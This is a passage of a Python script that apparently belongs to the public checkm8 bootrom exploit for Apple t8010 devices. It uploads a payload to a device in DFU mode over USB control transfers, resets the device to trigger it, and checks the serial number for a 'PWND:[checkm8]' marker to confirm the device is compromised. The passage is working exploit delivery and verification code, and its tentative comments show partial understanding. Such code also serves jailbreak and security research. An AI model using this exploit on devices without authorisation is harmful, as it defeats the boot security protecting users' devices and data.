    #  usb_rop_callbacks(0x1800B0800, t8010_func_gadget, t8010_callbacks)

    # upload the payload, or actually, this is after the pwning happens and this is exec
    # this is usb_0xA1_2_arm64 and checkm8_arm64
    for i in range(0, len(payload), 0x800):
        libusb1_no_error_ctrl_transfer(device, 0x21, 1, 0, 0,
                                       payload[i:i + 0x800], 50)

    # this is trigger?
    dfu.usb_reset(device)
    dfu.release_device(device)

    print("****** final check")
    device = dfu.acquire_device()
    print("final serial", device.serial_number)
    if 'PWND:[checkm8]' not in device.serial_number:
        print('ERROR: Exploit failed. Device did not enter pwned DFU Mode.')
        #sys.exit(1)
    else:
        print('Device is now in pwned DFU Mode.')
        print('(%0.2f seconds)' % (time.time() - start))
    dfu.release_device(device)